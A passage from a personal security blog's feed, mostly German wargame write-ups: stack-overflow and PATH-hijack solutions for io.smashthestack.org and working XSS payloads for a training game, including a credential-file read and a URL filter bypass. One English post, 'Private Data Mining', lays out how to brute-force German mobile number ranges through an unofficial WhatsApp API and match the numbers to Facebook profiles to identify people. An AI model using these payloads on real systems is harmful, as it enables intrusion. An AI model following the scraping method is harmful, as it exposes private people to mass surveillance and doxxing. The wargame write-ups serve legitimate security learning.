</code></pre><p>Damit ist der Payload genau 80 Bytes groß. Dies ist wichtig für uns, weil der Buffer nur 128 Bytes Platz bietet.</p>
<p>Wir haben den Payload. Widmen wir uns also wieder der level05.c Binary. Ähnlich wie in Level03 generieren wir erstmal ein Pattern. Dazu benutzen wir aber diesesmal <code>pattern_create.rb</code>. Dieses kleine Ruby-Programm finden wir ebenfalls im <code>Metasploit</code>-Framework. Mit dem folgenden Befehl kreieren wir ein einzigartiges pattern:</p>
<p><code>ruby-1.9 pattern_create.rb 170</code></p>
<p>Wenn wir Level05 nun in gdb starten und das pattern als Argument übergeben und level05 ausführen erhalten wir folgenden Output:</p>
<p><img src="/img/pattern.png" alt="pattern"></p>
<p>Anhand dieses Outputs können wir nun den Offset zum instruction pointer Register (EIP) berechnen den wir brauchen. Dazu nutzen wir <code>pattern_offset.rb</code> ebenfalls im <code>Metasploit</code>-Framework enthalten:</p>
<p><code>ruby-1.9 pattern_offset.rb 37654136</code></p>
<p>Der daraus berechnete Offset beträgt genau: 140 Bytes.</p>
<p>Als nächstes können wir nun anfangen den stabilen exploit zu bauen. Dafür benutzen wir eine sogenannte &ldquo;nop-sled&rdquo;. Das sind ganz einfach mehrere &ldquo;\x90&rdquo; ( nop ) Operationen hintereinander als Einstiegspunkt. So brauchen wir nur eine nop-Operation treffen und gleiten praktisch in den Shellcode rein der dann die shell für uns ausführt. Die richtige Adresse, also die Adresse an der sich die nop-sled befindet finden wir durch breakpoints setzen und untersuchen des Stacks heraus. Als Layout habe ich mich für diesen Aufbau hier entschieden:</p>
<p>30 * nop + shellcode + 30 * nop + (return adresse die in den nop-sled zeigt)</p>
<p>Davor hatte ich folgendes Layout ausprobiert:</p>
<p>60 * nop + shellcode + (return adresse die in den nop-sled zeigt)</p>
<p>Dies hatte leider seltsamerweise zu segfaults gefühlt. Wieso sich der Exploit so verhalten hat kann ich mir nicht erklären. Aber anscheinend macht es einen Unterschied wo der Shellcode auf dem Stack liegt. Sehr interessant. Ein Vorfall der weiter untersucht werden möchte.</p>
<p><img src="/img/creepy.png" alt="creepy"></p>
<p>Damit wäre Level05 auch endlich gelöst.</p>
]]></content></item><item><title>Smash the Stack 4</title><link>https://shibumi.dev/posts/smash-the-stack-4/</link><pubDate>Wed, 15 Oct 2014 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/smash-the-stack-4/</guid><description>So nach einer längeren Pause bin ich wieder zurück und habe neue Levels für io.smashthestack.org mitgebracht.
Heute widmen wir uns Level4 ( um genauer zu sein level04.c und der zugehörigen binary. Level04_alt.c funktioniert so ähnlich). Der Code dafür sieht folgendermaßen aus:
//writen by bla #include &amp;lt;stdlib.h&amp;gt;#include &amp;lt;stdio.h&amp;gt; int main() { char username[1024]; FILE* f = popen(&amp;#34;whoami&amp;#34;,&amp;#34;r&amp;#34;); fgets(username, sizeof(username), f); printf(&amp;#34;Welcome %s&amp;#34;, username); return 0; } Gehen wir den Code durch. In Zeile 1 der main Funktion wird Platz für den username angelegt in Form eines 1024 bytes großen Char-Arrays.</description><content type="html"><![CDATA[<p>So nach einer längeren Pause bin ich wieder zurück und habe neue Levels für io.smashthestack.org mitgebracht.</p>
<p>Heute widmen wir uns Level4 ( um genauer zu sein level04.c und der zugehörigen binary. Level04_alt.c funktioniert so ähnlich). Der Code dafür sieht folgendermaßen aus:</p>
<div class="highlight"><pre class="chroma"><code class="language-c" data-lang="c"><span class="c1">//writen by bla
</span><span class="c1"></span><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="cp"></span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">username</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
    <span class="n">FILE</span><span class="o">*</span> <span class="n">f</span> <span class="o">=</span> <span class="n">popen</span><span class="p">(</span><span class="s">&#34;whoami&#34;</span><span class="p">,</span><span class="s">&#34;r&#34;</span><span class="p">);</span>
    <span class="n">fgets</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">username</span><span class="p">),</span> <span class="n">f</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;Welcome %s&#34;</span><span class="p">,</span> <span class="n">username</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div><p>Gehen wir den Code durch. In Zeile 1 der <code>main</code> Funktion wird Platz für den username angelegt in Form eines 1024 bytes großen Char-Arrays. Zeile 2 öffnet einen stream mit Leserechten zum Prozess <code>whoami</code>. In Zeile 3 wird <code>fgets</code> benutzt um den usernamen aus dem Befehl <code>whoami</code> zu lesen und in dem Char-Array zu speichern. Danach wird <code>printf</code> benutzt um eine simple Willkommensnachricht auszugeben mit passendem Usernamen.</p>
<p>Wenn wir die Binary <code>level04</code> normal ausführen erhalten wir folgende Ausgabe:</p>
<p>&ldquo;Welcome level5&rdquo;</p>
<p>Dies zeigt uns, dass die Binary wie bisher in jedem Level mit Benutzer-Rechten ausgeführt wir
d. Die Binary hat also das <code>Setuid</code>-Flag.</p>
<p>Da diesesmal die einzige Eingabe der Befehl <code>whoami</code> darstellt, können wir keinen Buffer-Overflow herbeiführen. Der einzige Weg das Programm zu manipulieren läuft also über diesen <code>whoami</code> Befehl. Die Binary für den <code>whoami</code> Befehl liegt aber in /usr/bin und da haben wir keine Schreibrechte drauf. Was also tun? Naja, wir bauen uns ganz einfach ein eigenes <code>whoami</code>. Dieses <code>whoami</code> führt dann eine shell oder einen anderen Befehl für uns aus.</p>
<p>Nach dieser Erkenntnis habe ich auf verschiedenen Wegen verursacht mir das zu Nutze zu machen und zum Beispiel eine Shell zu spawnen. Irgendwann begriff ich jedoch, dass eine Shell gar nicht nötig ist. Ich will ja nur das Passwort. Seltsamerweise funktioniert der Exploit nicht wenn man eine Shebang-zeile im Script hat und generell wird nur die erste Zeile des <code>whoami</code>-Klons ausgeführt. Also kam ich zu dem folgendem Ergebnis:</p>
<p>Zu Erst habe ich im <code>/tmp</code>-Verzeichnis einen Unterordner erstellt und diesen einfach <code>foobar</code> genannt. Danach habe ich in diesem <code>/tmp/foobar</code>-Verzeichnis einen <code>whoami</code>-Klon platziert. Dieser führt folgende Code-Zeile aus:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="nb">echo</span> <span class="k">$(</span>cat /home/level5/.pass<span class="k">)</span>
</code></pre></div><p>Man beachte, dass dort die Shebang-Zeile fehlt. Es darf wirklich nur eine Zeile im Script stehen. Ansonsten verläuft der Exploit nicht stabil. Danach habe ich die PATH-Variable geändert. Die PATH-Variable ist als Environment-Variable in der Shell gesetzt. Über die PATH-Variable findet die Shell die absoluten Pfade von Befehlen. So reicht es zb aus <code>whoami</code> einzutippen anstatt <code>/usr/bin/whoami</code>. Meine neue PATH-Variable habe ich über folgenden Befehl neugesetzt:</p>
<p><code>PATH=/tmp/foobar:$PATH</code></p>
<p>Mit diesem Befehl setze ich den Pfad zu meinem <code>whoami</code>-Klon vor dem eigentlichen Standard-Pfad. Mein Klon hat also Vorrang und wird zuerst ausgeführt. Nun müssen wir nur noch die <code>Level04</code> Binary ausführen und wir werden mit einer netten Willkommens-Nachricht begrüßt die uns das Passwort für Level5 verrät.</p>
]]></content></item><item><title>Smash the Stack 3</title><link>https://shibumi.dev/posts/smash-the-stack-3/</link><pubDate>Mon, 01 Sep 2014 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/smash-the-stack-3/</guid><description>Willkommen zur dritten Runde von http://io.smashthestack.org/ . In dieser Runde geht es um folgende beiden Dateien:
level03 level03.c Schauen wir uns also mal den Programmcode an:
//bla, based on work by beach #include &amp;lt;stdio.h&amp;gt;#include &amp;lt;string.h&amp;gt; void good() { puts(&amp;#34;Win.&amp;#34;); execl(&amp;#34;/bin/sh&amp;#34;, &amp;#34;sh&amp;#34;, NULL); } void bad() { printf(&amp;#34;I&amp;#39;m so sorry, you&amp;#39;re at %p and you want to be at %p\n&amp;#34;, bad, good); } int main(int argc, char **argv, char **envp) { void (*functionpointer)(void) = bad; char buffer[50]; if(argc !</description><content type="html"><![CDATA[<p>Willkommen zur dritten Runde von <a href="http://io.smashthestack.org/">http://io.smashthestack.org/</a>
. In dieser Runde geht es um folgende beiden Dateien:</p>
<ul>
<li>level03</li>
<li>level03.c</li>
</ul>
<p>Schauen wir uns also mal den Programmcode an:</p>
<div class="highlight"><pre class="chroma"><code class="language-c" data-lang="c"><span class="c1">//bla, based on work by beach
</span><span class="c1"></span>
<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span><span class="cp"></span>
<span class="kt">void</span> <span class="nf">good</span><span class="p">()</span>
<span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">&#34;Win.&#34;</span><span class="p">);</span>
        <span class="n">execl</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">,</span> <span class="s">&#34;sh&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">bad</span><span class="p">()</span>
<span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;I&#39;m so sorry, you&#39;re at %p and you want to be at %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">bad</span><span class="p">,</span> <span class="n">good</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
        <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">functionpointer</span><span class="p">)(</span><span class="kt">void</span><span class="p">)</span> <span class="o">=</span> <span class="n">bad</span><span class="p">;</span>
        <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">50</span><span class="p">];</span>
        <span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">2</span> <span class="o">||</span> <span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">)</span>
                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">memcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span>
        <span class="n">memset</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">-</span> <span class="mi">4</span><span class="p">);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">&#34;This is exciting we&#39;re going to %p</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">functionpointer</span><span class="p">);</span>
        <span class="n">functionpointer</span><span class="p">();</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div><p>Was wir hier sehen sind 3 Funktionen. Eine Funktion namens <code>good</code> die eine shell spawnt. Eine Funktion namens <code>bad</code> die einen Hilfetext ausgibt und den Standardeinstiegspunkt in C Programmen: die <code>main</code>-Funktion.</p>
<p>In der <code>main</code>-Funktion wird zu erst ein sogenannter &ldquo;Functionpointer&rdquo; initialisiert. Das ist ein einfacher zeiger den man wie eine Funktion benutzen kann. Dieser Zeiger zeigt auf die Funktion <code>bad</code>. Danach wird ein Char-Array der Größe 50 namens Buffer definiert. Im weiteren if-Abschnitt werden die Argumente geprüft. Sind es mehr als ein zusätzliches Argument und hat dieses Argument eine Länger kleiner als 4 beendet das Programm mit dem Returnwert 0. Als nächstes wird via <code>memcpy</code> speicher kopiert. Um genauer zu sein wird das erste Argument in den buffer kopiert. Wir merken uns, dass das Array nur 50 bytes groß ist. Das ist wichtig. Wieso 50 bytes? nun ja weil ein char ein byte groß ist. Mit <code>memset</code> können wir gezielt in den Speicher Werte schreiben. Da wird einfach alles auf 0 gesetzt bis auf die letzten 4 bytes. Danach kommt ein normales ein <code>printf</code> mit Adresse des functionspointers und der functionpointer wird aufgerufen.</p>
<p>Bei level03 handelt es sich um ein klassisches Beispiel für einen Buffer-Overflow. Es wird nirgends überprüft ob wir uns an die 50 byte des Arrays halten. Wir können also das erste Argument beliebig groß machen und so da Programm zum Absturz bringen. Hier ein kleines Beispiel:</p>
<p><img src="/img/level03_1.png" alt="Bild des disassemblierten Programms"></p>
<p>Wir benutzen hier folgende Zeile als Argument:</p>
<p><code>$(python2 -c &quot;print 'A' * 80&quot;)</code></p>
<p>Dadurch, dass diese Zeile in $() Klammern steht wird sie direkt von der Shell ausgeführt. Wir schleusen also sogesagt ein Argument über ein kleines Python-Programm ein. Das Python-Program tut nichts anderes als 100 mal &lsquo;A&rsquo; als Argument zu schreiben. Dementsprechend haben wir 100 mal den Buchstaben A in der Variable <code>argv[1]</code> und sprengen damit den Buffer der nur 50 bytes groß ist. Also nur für 50 Zeichen Platz bietet. Interessanter ist jedoch die erste Zeile des Outputs:</p>
<p><code>This is exciting we're going to 0x41414141</code></p>
<p>0x41 ist der Hexwert für &lsquo;A&rsquo;. Wir haben es also geschafft den Programmfluss zu ändern. Man kann sich das so vorstellen wie ein Auto was einer Klippe entgegenfährt und circa 100 meter über die klippe hinausschießt. Unser Ziel ist es, dass Auto kurz vor der Klippe zu übernehmen und neuzuprogrammieren. Die nächste Zeile des Outputs ist ein <code>Segmentation fault</code> oder kurz <code>segfault</code>. Das ist ein Speicherzugriffsfehler. Unser Programm beispielsweise versucht an die Adresse 0x41414141 zu springen. Da an diesem Ort kein gültige Funktion ist beziehungsweise dieser Speicherbereich gesichert ist stürzt das Programm mit einem <code>segfault</code> ab.</p>
<p>Was wir also geschafft haben ist den functionpointer zu überschreiben. Betrachten wir den Stack etwas genauer um den Sachverhalt besser nachvollziehen zu können:</p>
<p>Der Stack wächst von hohen Adressen zu den niedrigen Adressen (Der Heap, ebenfalls ein Speicher wächst übrigens genau andersherum beide Speichersegmente wachsen gegeneinander. Damit spart man Speicher und trennt beide Segmente gezielt voneinander. Außerdem befindet sich zwischen den beiden random Offset und das Memory Mapping Segment für file mappings etc aber dazu später). Der Stack sollte von unten nach oben (von hohen Adressen zu niedrigen Adressen) so aussehen:</p>
<pre><code>char buffer[50] : 50 bytes  
void(*functionpointer) : 4 bytes  
saved Frame Pointer  
return Adress  
int argc  
char **argv : 4 bytes  
</code></pre><p>Wenn wir den Stack von unten nach oben durchgehen wird uns klar, dass beim Aufruf der <code>main</code>-Funktion zu erst die Argumente auf den Stack gepushed werden. Danach die return-Adresse, danach der Frame Pointer und danach die lokalen Variablen. Dadurch, dass der functionpointer vor dem Buffer auf den Stack gepushed wird können wir ihn überschreiben. Der <code>buffer</code> wächst nämlich von oben nach unten, also um vom Stack auszugehen, von den niedrigen Adressen zu den hohen Adressen. Um den Programmfluss zu übernehmen müssen wir also nur den functionpointer überschreiben. Damit wird am Ende eine andere Funktion aufgerufen und wir haben es geschafft. Die Funktion die wir uns auserkoren haben ist natürlich keine andere als die <code>good</code>-Funktion.</p>
<p>Als Erstes besorgen wir uns die Adresse der <code>good</code>-Funktion. Dabei hilft uns gdb:</p>
<p><img src="/img/level03_2.png" alt="Bild des disassemblierten Programms"></p>
<p>Die Adresse ist einfach die Adresse an Stelle Null: <code>0x08048474</code>.
Als nächstes starten wir das Programm mal mit einem spezifischen Pattern als Argument. Dadurch finden wir das Argument schnell im Speicher wieder. Am besten bietet sich dafür &lsquo;AAAA&rsquo; an.
Davor setzen wir aber noch einen Breakpoint genau an die Stelle hinter <code>memcpy</code>. Dadurch lokalisieren wir wo das Argument in den Speicher geschrieben wird:</p>
<p><img src="/img/level03_3.png" alt="Bild des disassemblierten Programms"></p>
<p>Dann starten wir das Programm mit &ldquo;AAAA&rdquo; als Argument und holen uns die Adresse der <code>bad</code>-Funktion. Danach geben wir uns den Stack aus und berechnen den Offset also die Entfernung zwischen unserem Pattern und der <code>bad</code>-Funktion auf dem Stack:</p>
<p><img src="/img/level03_4.png" alt="Bild des disassemblierten Programms"></p>
<p>Nun kennen wir den Offset und können den Exploit weiterausbauen. Wir schreiben also den kompletten Offset in den Speicher + die Adresse von der <code>good</code>-Funktion und wir haben es geschafft. Dafür nutzen wir wieder Python. Falls ihr euch über die komische Adresse im hinteren Teil wundert, dass ist die gleiche Adresse wie oben nur aufgeteilt in Hex-Ziffern und im <code>Little-Endian</code>-Format. Die ganze Adresse also praktisch einmal verkehrtherum. Es wird also zuerst das kleinstwertige byte genannt und dann die Größeren.</p>
<p><img src="/img/level03_5.png" alt="Bild des disassemblierten Programms"></p>
<p>Damit spawnt die Shell und wir haben level03 gelöst.</p>
]]></content></item><item><title>Private Data Mining</title><link>https://shibumi.dev/posts/private-data-mining/</link><pubDate>Mon, 18 Aug 2014 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/private-data-mining/</guid><description>I&amp;rsquo;ve got some good news for everybody who dreamed of mining data like the big agencies do. The key to this data is WhatsApp. Whatsapp is the leader of mobil instant messaging in Germany. According to the &amp;ldquo;Netzoekonom&amp;rdquo; there are 32 million germans who use Whatsapp. This is a dizzying number when you compare it to the 80 million citizens in Germany. Facebook has 27,38 million users in Germany. This is a important fact, because you can query with the help of WhatsApp and Facebook millions of names with phonenumbers and profile-pictures.</description><content type="html"><![CDATA[<p>I&rsquo;ve got some good news for everybody who dreamed of mining data like the big agencies do. The key to this data is <strong>WhatsApp</strong>. Whatsapp is the leader of mobil instant messaging in Germany. According to the &ldquo;Netzoekonom&rdquo; there are 32 million germans who use Whatsapp. This is a dizzying number when you compare it to the 80 million citizens in Germany. Facebook has 27,38 million users in Germany. This is a important fact, because you can query with the help of WhatsApp and Facebook millions of names with phonenumbers and profile-pictures.</p>
<p>Let me explain how to do this:</p>
<p>You need for this some phonenumbers, some IP-Adresses and <a href="https://github.com/shibumi/yowsup">Yowsup</a>. Yowsup provides an unofficial API for WhatsApp. So you can with Yowsup the same things as with WhatsApp. The difference is: You can automatize this functions.</p>
<p>In Germany we have different prefix numbers for mobile phone numbers(+49 is the country code for Germany change this to 0 if you are living in Germany):</p>
<p>+49151,+49161,+49171,&hellip;</p>
<p>The mobile phonenumber-ranges are from +4915X up to +4917X. After this prefix numbers we have a suffix-number with 7 or 8 digits. With this knowledge we can simple bruteforce the phone numbers and send queries via Yowsup to the WhatsApp server.
So we can get from the Server the following information:</p>
<ul>
<li>Is this phonenumber registered at WhatsApp?</li>
<li>Is the profil-picture public? In case of &lsquo;yes&rsquo; we can download it.</li>
<li>Is the Online-Activity public? In case of &lsquo;yes&rsquo; we can query if the user is online or not.</li>
<li>Is the status public? In case of &lsquo;yes&rsquo; we can query the status.</li>
<li>Is the profile-name public? In case of &lsquo;yes&rsquo; we can query the name.</li>
</ul>
<p>Let&rsquo;s summarize this: We can gather thousands of profile-pictures with phonenumbers. But thats not enough. How can we use this information to gather more information?</p>
<p>We can use Facebook! The Facebook-Messenger asks the user for connecting the phone number with the Facebook-Account. We can use this feature to link phonenumbers to full names, pictures, hobbies, friends, relationships, sexual preference, political preference etc. Facebook provides a login via email and phonenumber. We can use this loginform:</p>
<p><a href="https://www.facebook.com/login/identify?ctx=login">https://www.facebook.com/login/identify?ctx=login</a></p>
<p>Just insert the phonenumber with countrycode without &ldquo;+&rdquo; at the beginning and you get the full name with profile picture if the profile is public. With this name we can use google for more information about the person.</p>
<p><img src="/img/facebook_en.png" alt="facebook login form"></p>
<p>But how can we automatize this query? We can use <em>curl</em> to query the login-form. But I haven&rsquo;t tried it. Maybe we must solve solve captcha for more quries. If so we can generate a cookie for this with solving one captcha. We can use this cookie with curl too.</p>
]]></content></item><item><title>XSS Bootcamp</title><link>https://shibumi.dev/posts/xss-bootcamp/</link><pubDate>Sat, 16 Aug 2014 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/xss-bootcamp/</guid><description>Bevor wir zum nächsten Level von http://io.smashthestack.org/ kommen möchte ich ein kleines XSS-Wargame einschieben auf das mich ein Kommilitone aufmerksam gemacht hat. Zu finden ist das hier: https://xss-game.appspot.com/.
Fangen wir auch gleich mal an mit Level 1:
Was wir in Level 1 sehen ist eine einfaches Suchfeld, in dieses können wir Javascript injezieren umrahmt von HTML-tags.
&amp;lt;script&amp;gt;alert(&amp;#34;nullday.de&amp;#34;);&amp;lt;/script&amp;gt; Und weiter gehts zu Level 2:
Level 2 ähnelt einer einfachen Kommentarfunktion wie sie auf vielen Websiten zu finden ist.</description><content type="html"><![CDATA[<p>Bevor wir zum nächsten Level von <a href="http://io.smashthestack.org/">http://io.smashthestack.org/</a> kommen möchte ich ein kleines XSS-Wargame einschieben auf das mich ein Kommilitone aufmerksam gemacht hat. Zu finden ist das hier: <a href="https://xss-game.appspot.com/">https://xss-game.appspot.com/</a>.</p>
<p>Fangen wir auch gleich mal an mit Level 1:</p>
<p><img src="/img/xss-level1.png" alt="XSS-Level"></p>
<p>Was wir in Level 1 sehen ist eine einfaches Suchfeld, in dieses können wir Javascript injezieren umrahmt von HTML-tags.</p>
<div class="highlight"><pre class="chroma"><code class="language-html" data-lang="html"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span><span class="nx">alert</span><span class="p">(</span><span class="s2">&#34;nullday.de&#34;</span><span class="p">);&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</code></pre></div><p>Und weiter gehts zu Level 2:</p>
<p><img src="/img/xss-level2.png" alt="XSS-Level"></p>
<p>Level 2 ähnelt einer einfachen Kommentarfunktion wie sie auf vielen Websiten zu finden ist. Was uns sofort beim ersten Testen auffällt: Wir können HTML-tags in den Kommentaren benutzen.
Allerdings funktioniert die gleiche Eingabe wie oben hier nicht. Auch wenn wir die Sonderzeichen durch ihre Hex-Werte ersetzen kommen wir hier nicht weiter. Stattdessen müssen wir uns die standard HTML-tags zu Nutze machen und diese etwas feintunen. Am Besten eignet sich hier für der <!-- raw HTML omitted -->-tag:</p>
<pre><code>&lt;img src=&quot;&quot; onerror=javascript:alert(&quot;nullday.de&quot;)&gt;
</code></pre><p>Level 3:</p>
<p><img src="/img/xss-level3.png" alt="XSS-Level"></p>
<p>In Level 3 sehen wir eine stupide Bilder-Gallerie. Was uns natürlich gleich auffällt ist, dass die Zahl am Ende des Links die Bildnummer angibt:</p>
<p>Zum Beispiel für Bild 3:</p>
<pre><code>https://xss-game.appspot.com/level3/frame#3
</code></pre><p>Hier können wir wieder das <code>onerror</code>-Attribut benutzen um javascript zu injezieren:</p>
<pre><code>https://xss-game.appspot.com/level3/frame#' onerror=&quot;alert('nullday.de')&quot;&gt;
</code></pre><p>Dies ist deshalb möglich weil über die Variable <code>num</code> die Bildauswahl gesteuert wird.</p>
<p>Level 4:</p>
<p><img src="/img/xss-level4.png" alt="XSS-Level"></p>
<p>Auf der Website für Level 4 befindet sich ein Timer. Wenn wir uns den Code ansehen sehen wir, dass die Funktion <code>startTimer</code> einen Parameter benötigt. Dies sind die Sekunden die wir ins <code>Create Timer</code>-Feld eintragen können. Wenn wir dort zum Beispiel 3 eintragen erhalten wir folgende URL:</p>
<pre><code>https://xss-game.appspot.com/level4/frame?timer=3
</code></pre><p>Die Seite wartet 3 Sekunden und gibt dann über javascript aus, dass der Timer um ist und kehrt zum Normalzustand zurück. Wenn wir statt der 3 also einen String einfügen sieht das ganze im Script ungefähr so aus: startTimer(&lsquo;irgendein string&rsquo;). Wir können also unter Zuhilfenahme von single Quotes code einschmuggeln:</p>
<pre><code>https://xss-game.appspot.com/level4/frame?timer=');alert('nullday.de
</code></pre><p>Wichtig ist allerdings das wir nur single quotes benutzen und keine double quotes.
Allerdings funktioniert die obere Zeile noch nicht. Verantwortlich dafür ist das Semikolon. Dieses müssen wir erstmal noch in seine Hex-Gestalt umwandeln:</p>
<pre><code>https://xss-game.appspot.com/level4/frame?timer=')%3Balert('nullday.de
</code></pre><p>Nun klappt es.</p>
<p>Level 5:</p>
<p><img src="/img/xss-level5.png" alt="XSS-Level"></p>
<p>Level 5 soll einen Link zu einem Registrier-formular darstellen. Auffallend ist die <code>next</code> Variable im javascript die via DOM (Document Object Model) in HTML-tags eingebettet ist. Wenn wir also es schaffen die Variable <code>next</code> im folgenden Abschnitt zu ändern haben wir es geschafft:</p>
<div class="highlight"><pre class="chroma"><code class="language-html" data-lang="html"><span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;{{ next }}&#34;</span><span class="p">&gt;</span>Next &gt;&gt;<span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</code></pre></div><p>Dazu ändern wir einfach den Wert hinter <code>signup?next=</code>. Der ganze Link sieht dann so aus:</p>
<pre><code>https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(&quot;nullday.de&quot;);
</code></pre><p>Level 6:</p>
<p><img src="/img/xss-level6.png" alt="XSS-Level"></p>
<p>Level 6 lädt eine externe Javascript-Datei.</p>
<pre><code>https://xss-game.appspot.com/level6/frame#/static/gadget.js
</code></pre><p>Den Pfad zu der Datei finden wir hinter dem <code>frame#</code>. Wir können also ganz einfach von einer URL code nachladen oder sogar direkt injezieren. Zum Code-Nachladen via URL müssen wir allerdings darauf achten, dass wir den <code>http://</code>-Abschnitt in der URL etwas obfuscaten, weil genau darauf im javascript geprüft wird. Dafür ist diese Zeile hier verantwortlich:</p>
<div class="highlight"><pre class="chroma"><code class="language-javascript" data-lang="javascript"><span class="k">if</span> <span class="p">(</span><span class="nx">url</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="sr">/^https?:\/\//</span><span class="p">))</span> <span class="p">{</span>
</code></pre></div><p>Allerdings ist ein Fehler im Regex. Es werden nur kleine Buchstaben gematched. Wenn wir also statt <code>https://</code> einfach <code>hTTPs://</code> schreiben oder <code>hTpS://</code> können wir eine URL übergeben.
Aber auch dies sehe ich als unnötig an. Stattdessen können wir direkt Code injezieren ohne eine externe Seite zu benutzen. Dazu benutzen wir einfach <code>data:text/plain</code>. Damit könnnen wir den javascript-code direkt einschleuse:</p>
<pre><code>https://xss-game.appspot.com/level6/frame#data:text/plain,alert(&quot;nullday.de&quot;);
</code></pre>]]></content></item><item><title>Smash the Stack 2</title><link>https://shibumi.dev/posts/smash-the-stack-2/</link><pubDate>Fri, 15 Aug 2014 13:13:13 +0100</pubDate><guid>https://shibumi.dev/posts/smash-the-stack-2/</guid><description>Willkommen zur zweiten Runde von http://io.smashthestack.org/ . In meinem ersten Post haben wir bereits Level 1 gelöst nun ist Level 2 dran. Wie du sicher bemerkt hast haben wir dieses Mal mehrere Dateien für Level 2.
level02_alt level02_alt.c level02 level02.c Wir könnten uns eine Aufgabe aussuchen. Aber wir werden beide Aufgaben bearbeiten. Widmen wir uns zu erst level02_alt. Anders als beim ersten Mal haben wir dieses Mal den Sourcecode dabei.</description><content type="html"><![CDATA[<p>Willkommen zur zweiten Runde von <a href="http://io.smashthestack.org/">http://io.smashthestack.org/</a>
. In meinem ersten Post haben wir bereits Level 1 gelöst nun ist Level 2 dran. Wie du sicher bemerkt hast haben wir dieses Mal mehrere Dateien für Level 2.</p>
<ul>
<li>level02_alt</li>
<li>level02_alt.c</li>
<li>level02</li>
<li>level02.c</li>
</ul>
<p>Wir könnten uns eine Aufgabe aussuchen. Aber wir werden beide Aufgaben bearbeiten. Widmen wir uns zu erst <code>level02_alt</code>. Anders als beim ersten Mal haben wir dieses Mal den Sourcecode dabei. Sehen wir uns den doch mal an:</p>
<div class="highlight"><pre class="chroma"><code class="language-c" data-lang="c"><span class="cm">/* submitted by noname */</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span><span class="cp"></span>

<span class="cp">#define answer 3.141593
</span><span class="cp"></span>
<span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">float</span> <span class="n">a</span> <span class="o">=</span> <span class="p">(</span><span class="n">argc</span> <span class="o">-</span> <span class="mi">2</span><span class="p">)</span><span class="o">?:</span> <span class="n">strtod</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">0</span><span class="p">);</span> 
    <span class="n">printf</span><span class="p">(</span><span class="s">&#34;You provided the number %f which is too &#34;</span><span class="p">,</span> <span class="n">a</span><span class="p">);</span> 
    <span class="k">if</span><span class="p">(</span><span class="n">a</span> <span class="o">&lt;</span> <span class="n">answer</span><span class="p">)</span> 
        <span class="n">puts</span><span class="p">(</span><span class="s">&#34;low&#34;</span><span class="p">);</span> 
    <span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">a</span> <span class="o">&gt;</span> <span class="n">answer</span><span class="p">)</span> 
